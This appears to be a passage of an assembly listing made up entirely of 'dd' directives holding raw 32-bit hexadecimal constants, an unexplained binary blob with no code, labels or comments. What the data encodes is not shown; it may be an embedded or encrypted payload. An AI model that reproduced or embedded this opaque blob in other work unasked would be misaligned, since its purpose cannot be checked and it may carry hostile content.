		dd 35081500h, 0E6A2024Ch, 0F87900FDh, 7A58E54Fh, 5200094Dh
		dd 8B2D9F7Fh, 383B525h,	754FAFCCh, 2800BC3Ch, 0A97948A5h
		dd 30B42186h, 0D1089419h, 0AA03FBC9h, 8E15AF32h, 26148016h
		dd 0EDD20038h, 0B0A67380h, 697C7597h, 2F075276h, 0D815479Dh
		dd 8D510810h, 0F0AE8C9h, 320BD678h, 607B0FC7h, 60E09AA4h
		dd 49F47F00h, 52051210h, 0F08E6EAh, 0A813880Dh,	0BC357C81h
		dd 0D692CC72h, 9480CB03h, 0A8271625h, 863E75h, 0C32D5881h
		dd 0DC3D1CBCh, 3B9E3100h, 7F985977h, 86F73D8Fh,	0B2686280h
		dd 8B0C098Ah, 807B993Eh, 0EC3A79E5h, 38E019DBh,	508071DAh
		dd 0F6D376A9h, 79007AFDh, 70284E9h, 6A05E0h, 0C778121Fh
		dd 57BD6BFFh, 71ECE507h, 0F820A537h, 0B84F8DC6h, 13CB03A6h
		dd 6515CDD6h, 40FA1AA0h, 739D700h, 0D1358B96h, 0A626003Ch
		dd 0B904557Fh, 0D8004E0Dh, 0B5BA274Ah, 0E6C364h, 86E512DEh
		dd 9F72B747h, 5185E42Ch, 66C00B1Ch, 67BF1143h, 60A600DAh
		dd 0CD72E5F3h, 0E000A1D6h, 685A30DCh, 0B9243F5h, 0F92FFC55h
		dd 633D007Dh, 3D463Ah, 0EB1B3162h, 36EAAD89h, 0D8658B00h
		dd 5FA218E8h, 38FA00BAh, 0F24851FFh, 1A00F724h,	0CFFC3171h
		dd 0B9149Dh, 6AE934EEh,	65DFBB87h, 0A140D300h, 39842174h
		dd 71260072h, 22FAE15Dh, 93003E6Bh, 0E5D4806Ch,	1C4F6D9h
		dd 0B5CBAAF8h, 0C04A923Fh, 0CC1ED32Eh, 0A480839Bh, 0BC76A6BBh
		dd 4DD500B0h, 6B7A6D8Bh, 18003971h, 2816935Fh, 6A821Bh
		dd 0ED27E479h, 7379851h, 885C0A02h, 40038BEBh, 3BD01D40h
		dd 0B40BDC63h, 0D8004225h, 30798D3Bh, 2393Ch, 0A37D62CBh
		dd 865158h, 3119BF41h, 3FCE2663h, 0B09CEE01h, 0A6FBD6D3h
		dd 11B4E0h, 5E06C304h, 9C5C60F9h, 9417EC00h, 564DB31h
		dd 0F2A900Bh, 1A44E333h, 1D288F60h, 1403242Ah, 3D0EFDB7h
		dd 112C03B5h, 81BD200Ch, 6AFC1D0h, 88BBE300h, 0B83241D7h
		dd 97BA0093h, 10EC3048h, 3F7E5FD0h, 7C004B76h, 209F15F2h
		dd 95A4C3h, 2EF41F3Ah, 0B96BD41Bh, 0B5C95C03h, 0AFA22853h
		dd 7CB64560h, 26220044h, 3ED29DBh, 9602E139h, 0AD577AAFh
		dd 0FF7448EFh, 0D48D1C45h, 871D8E32h, 0C197DAE0h, 0F0017B9Dh
		dd 3752EDF2h, 58D024B6h, 7F2E002Fh, 600A09F7h, 0AD004C93h
		dd 81261ACEh, 0FC58A1Dh, 0BFFDB685h, 24715860h,	2F069D15h
		dd 70A5FFABh, 0F2C20010h, 53F7CBDCh, 8A00163Bh,	0EBA895F9h
		dd 7AFEC190h, 61B50050h, 3B677705h, 57008C3Fh, 75177E63h
		dd 0E4FFACh, 8D15FD8Bh,	66B6554Ah, 0C684DD00h, 0D80BE02Eh
		dd 1BC13CACh, 165F5D80h, 9B3F74A3h, 0F2AE43Eh, 2C2628h
		dd 0C570C27Ch, 529079Dh, 1066C74Ah, 22186365h, 0C00647Ch
		dd 30C3D2EFh, 791ECE2Ah, 7FA21E96h, 34BC006Bh, 2B9BD388h
		dd 0BD233Bh, 423AC879h,	7727BC5h, 447EF66Dh, 0C12CE4A6h
		dd 0E0AD83F8h, 41F07F48h, 7200AE77h, 47DBF4BCh,	395AC83Bh
		dd 0A48309E9h, 0F3B61D65h, 2E6EE1C0h, 0ABA71601h, 0CB77A8D5h
		dd 0C8CFD4h, 9E64BD32h,	0EC8F9BB2h, 19C9A00h, 37C935FBh
		dd 0FCE2003Bh, 5F1BBCE8h, 48FCBF27h, 0A3EE938h,	800D6120h
		dd 99429700h, 2C7E9470h, 0D6F40Eh, 0B22BDF19h, 0A9772A7Bh
		dd 34967100h, 0E3B66C80h, 40A63ADEh, 0A3E5A800h, 0C28158CDh
		dd 0EC000BB8h, 7D036782h, 3856F9E7h, 15012DCEh,	68EEEDD5h
		dd 80CD211Ah, 805AC32Eh, 0DD994Ch, 2E8B278Eh, 92A83DC8h
		dd 4DFFF300h, 0CD32768Fh, 96EF00EDh, 7EE923E1h,	0B000FAB8h
		dd 129B7C1Bh, 3C814DA3h, 95063CE3h, 50617BFBh, 9492F50Eh
		dd 75684046h, 0F8B151h
		dd 7DF1AF1Ch, 33A51F3Dh, 73A98100h, 0D87ED39Ch,	0B30F3BB9h
		dd 91FFD480h, 4A2882A7h, 63206F03h, 0B826AFACh,	7F519FB7h
		dd 0DB3E00BFh, 0D81A051Fh, 7D0477AEh, 0F3A6405Bh, 0BF8CAE80h
		dd 93D03FFCh, 0C59A0FF9h, 16A30F0Dh, 0A0039FFAh, 3AD696A9h
		dd 80D4E304h, 0F252D592h, 635D0042h, 788D5388h,	4A000A59h
		dd 2ED8950Fh, 0EE4EA06h, 7D4BDFAFh, 9A57080h, 4D03A901h
		dd 5DB2E662h, 9C40E878h, 1426589Fh, 9A47CE00h, 0A7454652h
		dd 10187409h, 0F3541024h, 0B46A0075h, 0B27E3C3Fh, 9E005D51h
		dd 2C533630h, 8E9668h, 0E064E5E1h, 0EB5BE7CDh, 0BF5D0500h
		dd 7FA4B975h, 33D22E19h, 823C0399h, 0F8E8A6B6h,	0CB00D3E1h
		dd 6E8DD037h, 0D3BBCh, 0C9CD6171h, 184A1729h, 54443400h
		dd 907508B0h, 0E7210713h, 32C698Ch, 1EB0D6E2h, 8500E07Dh
		dd 5CE1CC89h, 0FA846FECh, 0C32204EFh, 0C04EBE47h, 0A1E650CCh
		dd 101A07Ah, 9F8E21B6h,	0EEF084B3h, 1E7FFCADh, 4FD92D7Eh
		dd 4869A6D5h, 0B1142800h, 2C1FC328h, 9780A4F3h,	2DA4C1Bh
		dd 0C888008Ch, 697BD03Bh, 79001044h, 2056A192h,	1D6258Eh
		dd 21FB9196h, 0E5DD8DF3h, 0FD6AEC46h, 9D725106h, 3D4948CFh
		dd 938009B5h, 0B444BFB8h, 0E13B9FEAh, 6A007B65h, 5F391C4Eh
		dd 235AA37h, 8391B411h,	55206Eh, 61E2BB20h, 41F200B3h
		dd 0EC99FE82h, 0DEF8A8C3h, 7C8BEF0Fh, 0A7C48384h, 0F4CFB00Ch
		dd 0C01B00E0h, 5002E4B8h, 0E00CBA1h, 7CC5ADD4h,	7FF6CE98h
		dd 1A21006Bh, 9488B191h, 9D00CAD7h, 6373E513h, 1C3BC959h
		dd 0EB488Fh, 0F32E5B8Ch, 7F033932h, 90B3BE02h, 0E3E5BA3Fh
		dd 0B69C806Eh, 73C80036h, 6F118A8h, 0FF005FC4h,	0DD4C74F9h
		dd 32161F5h, 0D0C3E653h, 0B9A340F8h, 43FCA5D0h,	0AE7862E0h
		dd 5D0F7207h, 2AB0F1C5h, 0EE8C38h, 1C6F537Ah, 6B64BE94h
		dd 0CF3F8E00h, 0B8C2FFE6h, 47DA00E9h, 466A83BAh, 671C2EA8h
		dd 28703F5Dh, 335BD0h, 8C732979h, 93CFD3B4h, 0D993000h
		dd 0DAA2A082h, 0E5A1042Ah, 80A776BAh, 5CEE778Dh, 0BC7AF600h
		dd 0B0B3285Ah, 0E0EF0088h, 291368C2h, 3000ECE6h, 0D6327CEBh
		dd 0E2F5241Eh, 7B7259h,	810E846Ah, 8AA75C67h, 51629000h
		dd 5B2A9F9Ah, 0D8F0016Ch, 0CCE9B7F7h, 0D1819CA5h, 1EB1D900h
		dd 0C7B39206h, 0A0B4A908h, 0CA34B6B0h, 85DAA700h, 0DFCD31A2h
		dd 10841D50h, 1742009Ah, 23E21566h, 0C2F08100h,	0D76A5411h
		dd 307005B1h, 0C3BE9Dh,	87C92634h, 2CC0BB3Ah, 2466AB19h
		dd 61F0379h, 348F8CDCh,	0E0C42AC1h, 293D339Fh, 0FD7C005Ch
		dd 9BB1BEF9h, 0B2D9009Eh, 48941844h, 0A01D357h,	0E5E03C06h
		dd 9E81F72h, 0E1520379h, 66B99508h, 0E97DC8C0h,	832FAC0Fh
		dd 14EC0794h, 59D55CC0h, 97445898h, 78E15018h, 83393AA7h
		dd 12103CEEh, 970E5B1Dh, 21998C23h, 0EE8107A9h,	0A0B7576Bh
		dd 494D42A2h, 63096900h, 4A721A98h, 0B89750F9h,	148300C4h
		dd 50FDABB9h, 185C0D22h, 0F56F2CDAh, 0BE364300h, 73F6C59Ch
		dd 86CE2891h, 9869D988h, 4901826h, 4210CEEAh, 792E3123h
		dd 0EE8AA800h, 9BE48800h, 70416D90h, 257B0075h,	696C6EF8h
		dd 0C414BB48h, 3D801127h, 0CCD8AA35h, 67365A00h, 2B2E629Ah
		dd 6A8020F9h, 0AC4F6600h, 0FE9F3774h, 82DF008Eh, 38A98868h
		dd 3A007548h, 0E9A57E71h, 2A599Ah, 52036DECh, 7C49C06Ah
		dd 8FEB9E04h, 0FCC0A910h, 58919BB0h, 200C7A1h, 5D7FC1Ah
		dd 0DA627E36h, 0C06FE608h, 73F29CBh, 0CDD5B49Eh, 5C2FC3D8h
		dd 3EEFCAA0h, 0E757CC07h, 0F9B005D4h, 3286A21h,	946382B4h
		dd 60039971h, 3743C5A2h, 36282BE6h, 35BC4004h, 6D0F1DFBh
		dd 0C03FA955h, 0B7D88956h, 0E520CF0Ch, 772BADC0h, 0DC1852E4h
		dd 0AA08313Ch, 0FF88C040h, 458FADE3h, 9C8AD60Ah, 24003C49h
		dd 0C652DB2Eh, 7DF4D1h,	0D58ED6D0h, 80C9BFAFh, 67E74A07h
		dd 0A7A0C294h, 8C7457C8h, 0D3908870h, 1FACE40Eh, 0F08B864h
		dd 1741009Ah, 630727F8h, 3E0CFB6Fh, 5235C525h, 0BF2A009Bh
		dd 0A995F5C8h, 8AE4C66Ch, 8FF03600h, 0D4DF1BE3h, 0D170140h
		dd 9FE807C5h, 0C230493Ch, 73B2720h, 0B0D30081h,	0F834372Eh
		dd 0DF002AC7h, 0F7C653E4h, 0C23C98h, 3E97925Ch,	9184B72Eh
		dd 8E629B7Ah, 1B1C1171h, 95BA07A9h, 1838AD66h, 6D20C5B5h
		dd 9B0700DEh, 73568323h, 18036CB7h, 3B444B72h, 0B81AC0F9h
		dd 86F695h, 0EE292CD9h,	0F6573740h, 738DDA01h, 604892D2h
		dd 6B090880h, 27BA40EFh, 0C17158h, 68B3C0Dh, 0E8D42Fh
		dd 0CF42D9AAh, 0DF375D73h, 8F0FC802h, 619C6344h, 9C486D1Bh
		dd 2931F199h, 43A2A418h, 708740Eh, 0C404D28Bh, 0F224414Bh
		dd 0EAE05A07h, 650C0756h, 13FD4AA8h, 59036029h,	0EB1B1CD5h
		dd 0EF538140h, 20E80A03h, 69006259h, 0E44D9665h, 40B60E89h
		dd 0F8054079h, 1BEC31F3h, 0D83C8C44h, 84F64930h, 9238910h
		dd 880EAC8h, 0D6EEB897h, 0D896016Ah, 0EAD4A8Bh,	4B8EC9C7h
		dd 424495DCh, 0DDCD00DCh, 8D3ECFBEh, 0E73A0322h, 31D0BB6Ah
		dd 0F98F9000h, 3B2C84D1h, 0E8605B81h, 62AA000Fh, 4C10866Bh
		dd 0B4F299h, 0F66F03F1h, 29A61A46h, 9B00027Ch, 19120FC1h
		dd 0C8C8B877h, 80CC10A0h, 34E82B5Dh, 98203CC0h,	73C2200h
		dd 3446FC6h, 210905DFh,	40C5FF0Eh, 0C09D47A4h, 0EBEC065Eh
		dd 0A8A15B0Ah, 2111A8B9h, 0E5F60480h, 0D343BB8Dh, 202D1018h
		dd 0F6008C99h, 3BC1E50Ah, 0F7654E9h, 0D6FCE217h, 8D29A140h
		dd 0B27B4EBEh, 0B6BC9A0Fh, 2F86802Eh, 1840D501h, 907884D4h
		dd 8FF6CE2Dh, 7C908C00h, 976B2563h, 64EAB862h, 0C0DF2042h
		dd 9C7BF673h, 39E03Ch, 37C4B3A3h, 1F042CFDh, 0A367166h
		dd 1C00F32h, 84B08374h,	0BDB8CF26h, 9F3E1B5Ch, 30C380C2h
		dd 7E0F22CFh, 18B63EC8h, 40E91709h, 7604B41Dh, 0A220EE21h
		dd 3A00A1AEh, 0CDCB7A38h, 48F4E933h, 9F042CC9h,	88FC286Dh
		dd 7D14A8A4h, 0A01457h,	2BA399A0h, 0F10EB955h, 0E1C34771h
		dd 8080339Eh, 0A6A2AAD2h, 22E66336h, 0BB605612h, 0E810C42Fh
		dd 0EAD1C198h, 0D8E7CCC4h, 2605086Bh, 0FE1E44h,	0D01C3E17h
		dd 0C7F86A1Ah, 9576B714h, 7A0A03D8h, 0E565AD2Dh, 0EB43A807h
		dd 24914BB4h, 808032BEh, 34AF75E6h, 60506CB3h, 160CF6B5h
		dd 0B0F8040Ch, 67FE3E8Fh, 1BD4B862h, 81C09A19h,	0F433F7D2h
		dd 796E87h, 0F3408C62h,	0F614E702h, 48E4B48Ah, 2461E660h
		dd 0C5900F46h, 0CF3024CEh, 98961024h, 40765DDDh, 0A5CFCC70h
		dd 6407A97Fh, 1A26B993h, 28C18C9h, 92F300C9h, 4117A5ABh
		dd 5C0A7A16h, 0E8A633C5h, 0A9A3BBC3h, 18C20955h, 80803959h
		dd 5BA10024h, 0D2F9C136h, 1C31E934h, 13E0B0EBh,	3A70B4E8h
		dd 44000C5Ah, 8EF6DF7Fh, 0CF058F57h, 34772A5Fh,	0D983B2C1h
		dd 0DF55F0h, 0C689ED7Ch, 7B41D356h, 4B00E6E4h, 0BF3C9D2Ch
		dd 60A60B1h, 2545E4E2h,	0F77F2027h, 1307DEFCh, 9E49976Fh
		dd 634F087Ch, 7AA12018h, 8D8281C8h, 0A5227900h,	2E5A766Eh
		dd 261328C0h, 19CF002Ch, 41D73E6Dh, 70B57A9Bh, 0F1AB3CECh
		dd 0FA2AEA0Ch, 98D35D4Ch, 295B9B00h, 1D939E35h,	0C054D2E3h
		dd 49641898h, 0FD1813BFh, 0D780369Bh, 0BC7E0094h, 0EC3C3161h
		dd 9F84296h, 0C3B54400h, 89628BB8h, 6412018Fh, 0EEF49836h
		dd 0EB80F333h, 6007D29Ch, 0FAECB209h, 4BD77BB0h, 587A60CBh
		dd 0E5BDDB21h, 89EFE301h
		dd 8CACBEDFh, 79D3D3h, 0B8D93F20h, 353CB685h, 2A006DEAh
		dd 3A4C665Bh, 8337F9h, 0F2A94FA2h, 0E1E05085h, 0DBA16714h
		dd 387226BCh, 0D337D600h, 78CD386Dh, 0AF3500BDh, 97F6C144h
		dd 7A05CC4Ch, 0E2D596BFh, 0F961D820h, 0B5450049h, 72A95AE9h
		dd 0A0E8259Ah, 0A49859C0h, 0F6CC020Bh, 0C06B00E0h, 0D152B39h
		dd 0E33BA0C3h, 9EEC511Ch, 80219058h, 0B54249BAh, 44865CA1h
		dd 0BF62775h, 90D4CC00h, 465BEF15h, 107D0A6Dh, 0C43EE6h
		dd 16797AE8h, 70B8B68Ah, 0A9693C00h, 0E33F75ABh, 9D401E25h
		dd 7C350A71h, 85CD8CDCh, 5130B608h, 3BA88868h, 17B81EB7h
		dd 8C6E8597h, 2815FB8Dh, 0F833000Ch, 82A0940h, 7537093Ah
		dd 0BA00C8ACh, 0A37E1C0Dh, 0DFBE6000h, 621FF1D5h, 0E1D8A0ADh
		dd 43D10013h, 634AE44Eh, 490396FFh, 0AE7808B7h,	0C6A09818h
		dd 7B390964h, 1848E2h, 9208BDD8h, 608A27E3h, 0D35B341Ah
		dd 0BB99FE00h, 0B622FA87h, 1507004Fh, 65498BDEh, 0F60095A7h
		dd 4BEDDC71h, 15B85D0h,	7A6A82FBh, 20DAEC9Dh, 0C30F86C4h
		dd 20E67E0Bh, 0AB4299EAh, 1DC9082h, 0C9EBF5C6h,	22CB4C3Ch
		dd 9133B000h, 0F008442h, 0C2B3BBF0h, 3EC1F56h, 4740C9B9h
		dd 0CDA099C8h, 7F0403A6h, 0DFE4BF2Ah, 91E6CA01h, 3CB092A0h
		dd 30F71040h, 0C6852Ah,	0BEA53148h, 0B17CC514h,	0BB88570Eh
		dd 0BF4787A8h, 0B1048A7h, 3EE23683h, 0FA7DA4h, 0AE684C41h
		dd 0D0CFC490h, 5152F901h, 312CC7D3h, 0BCCB2C50h, 0ECC9102Eh
		dd 7A6CC6A8h, 81B60020h, 54643E49h, 1A007CDCh, 4E6B718Eh
		dd 1C2BF940h, 8AD39827h, 6058C6EDh, 0C591BE9Ah,	99B3D421h
		dd 0C0FB596Dh, 0E9001A83h, 751CD37Ch, 34F4721h,	0B7DAE149h
		dd 0D6300FFCh, 7C3B1884h, 421901CAh, 0C2443032h, 49A3D7B8h
		dd 3CF5D029h, 13BE1801h, 6848C4C5h, 0F918872h, 8D228301h
		dd 705179CBh, 0FA32120h, 499F3DB6h, 13CE9422h, 30784663h
		dd 4701750Eh, 0F32B405Bh, 2E36237h, 0B81573FDh,	0EB85958Ch
		dd 10B401ABh, 0FD84445Dh, 5C807F1Eh, 3813FCB8h,	0C860CE98h
		dd 6E813262h, 79549300h, 0FD9068C6h, 0BF951EC8h, 3E190764h
		dd 2DCCCE5Ah, 9020DD0h,	0D58FECFDh, 8E2E036h, 5C3100FAh
		dd 0DFD8DC43h, 0DAEA2052h, 1043C49h, 27663351h,	0D180535Bh
		dd 0E8846D59h, 6C77F714h, 0FB93BE3Ch, 20700133h, 1F83E07Bh
		dd 6E33006Fh, 5B4BC7C1h, 954E632h, 0FF02C354h, 539795F5h
		dd 37A010C7h, 0B89A80h,	0C25941FDh, 983997BEh, 21D4903h
		dd 0B1F043BBh, 804E23D1h, 52C265C8h, 0DD074026h, 7033007Eh
		dd 8BE1A501h, 0A7689F9Ch, 0F500C760h, 0D2D1C546h, 68BCA03Ch
		dd 4A6A2966h, 84A08084h, 6DAF4DC5h, 63102086h, 83CA7E00h
		dd 0F0D46271h, 0B2F300C2h, 0C73D4BA6h, 94182514h, 6A99600Fh
		dd 11DF00D2h, 0C0227E09h, 9D3C660Dh, 5E7000DDh,	23A4EE5h
		dd 81F13F64h, 510068C9h, 1150CFE2h, 6800DB12h, 88786275h
		dd 0E654887h, 0FC27D314h, 0A053920h, 0EF1DBDD5h, 21835377h
		dd 0C9AA60h, 0E7DEB110h, 0DD1745C0h, 9D78360Eh,	5E1C80FCh
		dd 0EB34E9h, 0DCAEA8FFh, 0F859D609h, 662C4202h,	7125DC2h
		dd 70BC77E0h, 3DE3374Dh, 0D65438C0h, 3C30790Bh,	63187DD0h
		dd 5D6008AAh, 0A1005378h, 0E1D709DEh, 779D3Bh, 0C0FF16D2h
		dd 4C6BF081h, 7B68CD00h, 0EB0432C1h, 0CC973EADh, 0EC34B080h
		dd 46969F2Fh, 0CD4BB500h, 2A3993Ch, 9C620084h, 9305133Dh
		dd 0F10061ADh, 7DED7E7h, 427DC7h, 0C251C9E0h, 261D156Dh
		dd 633DD378h, 3B92805Ch, 0AD4C583Ch, 420907C3h,	81813FC8h
		dd 0F077A9BCh, 61785B53h, 9C7FC00h, 0E7DAC6EBh,	5880C770h
		dd 212D00D8h, 0C9003E7Eh, 0B607AABBh, 0D2828Dh,	7BF04177h
		dd 11A3ACB3h, 3D27C600h, 1006ADE3h, 16E6F44Eh, 0C5A05Fh
		dd 0AA230E48h, 2A009097h, 70925E1Eh, 14F771h, 0D935339Bh
		dd 0A9795CA2h, 0A0865100h, 0F8846719h, 65010792h, 913C4D8Ch
		dd 303ADA7Fh, 0C700EA83h, 0DCE3299Bh, 0ECD89455h, 0A8C900D5h
		dd 0A6F140DBh, 2658CC2Fh, 17D3E5Fh, 1DFD5359h, 78E48BBDh
		dd 8023004Fh, 639D3FFh,	5A00BBA5h, 3ED94C24h, 1AF6FBAh
		dd 0CD1D4AFDh, 0C4173B84h, 0CE7E802Ch, 7063F100h, 3C4AC016h
		dd 0A9E2E4h, 372483E8h,	0B8400279h, 0C23B7000h,	6148F153h
		dd 7A4301CBh, 6C964630h, 0D3CAFCACh, 0D0802B00h, 0AD8CC2DEh
		dd 0F7950019h, 3882D416h, 800C89Fh, 5B782FD1h, 180CD6Eh
		dd 0E1352591h, 0E4ADDE9Eh, 0C801A106h, 0EDF7D786h, 1DF0A284h
		dd 21350091h, 9DC3B08Dh, 9F007C92h, 0C8EADC56h,	0E36ECDh
		dd 633778A7h, 0E0A8031Ch, 8FBC4E00h, 5BA56A71h,	4B900783h
		dd 0C0862DEEh, 0B30653C6h, 4AB2611Eh, 2BD8D100h, 0EF57D9h
		dd 5FB0F6CAh, 0E96788FCh, 0FE3145E2h, 0FDA51102h, 0B2B0044Bh
		dd 10C06426h, 3750310Ch, 204900B3h, 6EB8709Ah, 99795F4Fh
		dd 0A4EA2300h, 0BAE69076h, 0E9A00F62h, 12A00E4Eh, 43413C60h
		dd 0C4915B00h, 4B94E6BFh, 0C0240019h, 894569B2h, 9558A3h
		dd 1D3ABB5Fh, 0A407000Ah, 7FEF2833h, 9600B9CBh,	30C134B7h
		dd 1DC2EC69h, 0C02B455Bh, 0F7F250C8h, 14002C33h, 0D13D63C3h
		dd 974DE8h, 593BD276h, 4E969571h, 0C31A8A00h, 0A11088EFh
		dd 0D7230067h, 0BA5B3F72h, 5600C5D5h, 7775BB73h, 0B8F79Fh
		dd 8AF410ADh, 0F6A24E20h, 0F1A55F00h, 0ECC7E849h, 0F3FC0013h
		dd 99BEAFF2h, 9A0073AAh, 963977D9h, 3F4F5A51h, 0F83C0F9Bh
		dd 606FB780h, 37AD063Bh, 0CADE4132h, 2EF9C0EEh,	0A94B009Fh
		dd 6E9A648Dh, 1C011355h, 0BE45CEFCh, 19E8BA76h,	6528009Ch
		dd 88EE1173h, 877BA146h, 1E71CD00h, 30C8DC48h, 3D28E41Ch
		dd 0A8B9FB3Bh, 2454CA80h, 6A1B4B58h, 519A0C03h,	0D672C8B6h
		dd 7DBE4C49h, 3CB88400h, 27E5C6A0h, 0F81AB400h,	6D2C86FAh
		dd 12FE0F8Ch, 0BD0EE069h, 0F00C0312h, 8A902FC5h, 350074A0h
		dd 47A5DBE3h, 30448FC2h, 1032E2DAh, 330E283Ah, 0E8CB77h
		dd 0A731468Ch, 30928Fh,	0E42E8574h, 0DB283BB9h,	98CA5807h
		dd 35506009h, 0A595EBh,	0F2620492h, 0CFC54A50h,	4D00D6E6h
		dd 0B2F4F6DEh, 539446h,	981E9E30h, 0CA78A952h, 0B60E90B8h
		dd 409AFC8Bh, 0E71194E3h, 0F30F434h, 0D8DF8A4h,	2A5B4560h
		dd 0AD00993Bh, 41D7802Fh, 1427754Ah, 0C94EEF8Dh, 6BE8A500h
		dd 25920AF8h, 48F9700h,	40E3B9B3h, 4FEF0CB2h, 3488C9FCh
		dd 1DB48B00h, 3E3F5CB0h, 65063050h, 90D818E8h, 0F4348h
		dd 0DEEBB094h, 0E395DFh, 1FB2E9D9h, 7A02FCE5h, 70C75E00h
		dd 55C57C1h, 1253009Bh,	7790B391h, 0B2077175h, 0AFF17494h
		dd 7D2C2960h, 2B8107F3h, 502FA517h, 46A1CAACh, 0BB8E58h
		dd 0DE5073AEh, 2437FB6Bh, 0E8BD36h, 94BBC85h, 3203A4B2h
		dd 2551BE64h, 106DD8BBh, 0D7810024h, 0B55C61FDh, 0C160A85h
		dd 6C034F8Fh, 0F8AD7F9Eh, 0E16760h, 1DDB2F78h, 3D14B0CFh
		dd 7CB92800h, 4AE9CB55h, 2B6C12ECh, 2EE004A6h, 709C80BBh
		dd 9B03A234h, 0CAAD4A1Ah, 0B0729B51h, 12853649h, 0FF1382Fh
		dd 2060B6C4h, 531F04A8h, 525EC102h, 68B5D4C0h, 0DA614Ch
		dd 0F1711690h, 757A1AD8h, 3CCB7C00h, 6D44ACD9h,	978C0A7h
		dd 76022E59h, 0D08EE400h, 0DD5BB472h, 0B5EE07BDh, 905C04A6h
		dd 0C21DC19Dh, 0FB546013h, 3DF54400h, 0B3951Ch,	0BE28166Eh
		dd 2C1A6CE9h, 0DF914400h
		dd 59149A22h, 0C07D0Dh,	0BE76A17Ah, 332C2177h, 0D7758300h
		dd 1B412987h, 0B25207CCh, 0C071F01Dh, 9E052DE2h, 0F37EE000h
		dd 0F1834FC8h, 72F90068h, 1E854D2h, 0FD009414h,	265B3719h
		dd 9B4383h, 112047F4h, 90E253BDh, 22E90D03h, 0E00418DDh
		dd 3803D0E5h, 0EE00F866h, 1C941EC0h, 43009B81h,	5178DE54h
		dd 0A9184Ch, 9E0EB3CFh,	2C695A5Ch, 3CAE471Eh, 70B3444h
		dd 638A1090h, 0DA0D01B7h, 0D93D669Ah, 982BEC1Bh, 8879D11Fh
		dd 0B02E3E00h, 2F0C2h, 0A6550769h, 49E071E3h, 3507BE98h
		dd 0D3E80927h, 1391A9D0h, 79650137h, 772F47Fh, 0C444CDB0h
		dd 1F3F7B23h, 0B9750070h, 2A66C6D0h, 97BD4C2Fh,	4C855000h
		dd 1CC5B47Eh, 0A90848h,	0FAA56896h, 0C9A004h, 95BC288Ch
		dd 0E5EBF611h, 0ECE5F00h, 7B704C1Fh, 65B1095Eh,	1C232339h
		dd 75D8CCA7h, 0CB090E28h, 9B2ACEh, 0A653A85Ch, 7A93006Ch
		dd 0AFD56D03h, 0FD000FFFh, 0CD5F36A5h, 32D2EB3h, 50EE8448h
		dd 8A0EF3Eh, 0A000DA87h, 758D8E4Ch, 39FCB2h, 8CF188EDh
		dd 83473A2Ah, 0CFA05300h, 0D5528724h, 0A1FB0068h, 49047586h
		dd 0B2CD8E0h, 0CB00DCF7h, 0C253991Fh, 122705E4h, 80E67179h
		dd 8A6A2DFEh, 0B9AB5D00h, 851C931h, 0ED9F8EAh, 0F650C66Ch
		dd 0E2228AC0h, 0B00AF0Eh, 0F45C55F0h, 76C212h, 0A69513E1h
		dd 0DC9A7F40h, 6C4148h,	2653CEA9h, 0B9A852h, 94731A19h
		dd 0B23F8CFAh, 2DE95800h, 330FE087h, 0AF0800C6h, 66235D46h
		dd 0A03B950h, 7D1B82E4h, 0DD28F021h, 51DE02EAh,	893974CCh
		dd 90ED8E60h, 5A8AD60Bh, 13D10247h, 67BE83EBh, 0E75BB8A3h
		dd 0B7430084h, 5A7381A8h, 0ED008C87h, 0A7DD7133h, 0D3490Ch
		dd 0CF2E39A9h, 0AA506FD5h, 7B2B0100h, 0BE8B4F66h, 0A994004Bh
		dd 330D3FF0h, 0DD00B908h, 0A01BB6A8h, 2F9CEAh, 250E60B4h
		dd 45585F84h, 1A727A00h, 0B8ED4DD5h, 0EFA90063h, 0A5F55513h
		dd 0E039814h, 2C5A991Bh, 0B6A79882h, 0E2060005h, 425694BAh
		dd 0E101BDB4h, 93BE02EBh, 57CCF59Ch, 0F4402406h, 82C300E3h
		dd 46A5DDAEh, 3B645F02h, 0E803CA61h, 0C168CCh, 0AC5CE577h
		dd 74F6BB60h, 81C32C3Ah, 0D66EC5C0h, 60723CFBh,	8B8DCA00h
		dd 795C6059h, 5B7EB017h, 8480C00h, 3CD1DC8h, 0DC2A7F35h
		dd 6000FF76h, 0B53BB082h, 7BC1395Eh, 7E900242h,	83ADEE1h
		dd 3BB8D6C0h, 471848B2h, 0F69938ADh, 0DAC30032h, 2EC10A19h
		dd 8B7CEE5Eh, 0A0181C6Fh, 7737659Eh, 4B560033h,	0E803E987h
		dd 4F0051D8h, 7F98DD75h, 5C10A570h, 5C7550D4h, 0EF07B4C4h
		dd 207C913Ch, 9AA609F4h, 6E703A07h, 7A108056h, 4994C2h
		dd 0B53924CDh, 0E3EAA462h, 0F00C7802h, 60B654AEh, 320F7369h
		dd 0B1400ACDh, 92D078C0h, 0DD50B500h, 0FBBF90C2h, 0F9971E8Ah
		dd 0C7894002h, 27CA2B65h, 0CB2DEB00h, 524A0839h, 2AD01CB6h
		dd 445BC75Eh, 0D162271Ah, 0FC119BF9h, 0A31D1E06h, 4E00691Ch
		dd 0D62DCE70h, 86A800D5h, 0DC5FA1E6h, 8900D920h, 11FCCF0h
		dd 0F91E7F6h, 9A3A3E96h, 44301D93h, 0A3A7B6BBh,	1CB2B0B0h
		dd 0E4BC98FEh, 1834009Dh, 0CF28B187h, 2078F2Ch,	0E3A41BF2h
		dd 0B81AFFA3h, 317B407Ah, 0B4284D91h, 109311D0h, 0FFAC8B10h
		dd 20E64E81h, 8E6AE5B0h, 0C0A0221h, 9D519CA7h, 20966E20h
		dd 1200D7DCh, 467D7BE6h, 0C769Bh, 9844D684h, 64F14EA2h
		dd 0CD20EE1Fh, 0C62AC5C0h, 5BE7D26h, 0CAA6A023h, 3D48C8F0h
		dd 0B2258300h, 5A06F4BFh, 0C96900AFh, 5D700850h, 0DC381C27h
		dd 526F8102h, 5ECE1A21h, 753088E8h, 3E7FEEA5h, 4500295Ch
		dd 0D8821915h, 0D3015385h, 0CDD68A1Bh, 7FE087A5h, 15D3FEFh
		dd 38C02F80h, 518CB5B8h, 0C6631400h, 831091F7h,	0FA8E005Fh
		dd 55EEA460h, 90FAE8D6h, 82FFB500h, 28629EDCh, 6CDA0EC4h
		dd 15E0D8EEh, 0C9D7FDF2h, 96201D00h, 48D1AD09h,	0E237A7Ch
		dd 24228273h, 2F253160h, 0C126DE0Eh, 77029DB3h,	58273267h
		dd 34C26C8h, 7B786ECh, 2C03A0BBh, 5FC9255Bh, 0D0900163h
		dd 0E3977FAh, 0C6ACF826h, 0E646621Eh, 6CA809C5h, 75D0CC0h
		dd 0F7D71D1Fh, 604C40C3h, 0B76165C5h, 56C73100h, 7FFB3671h
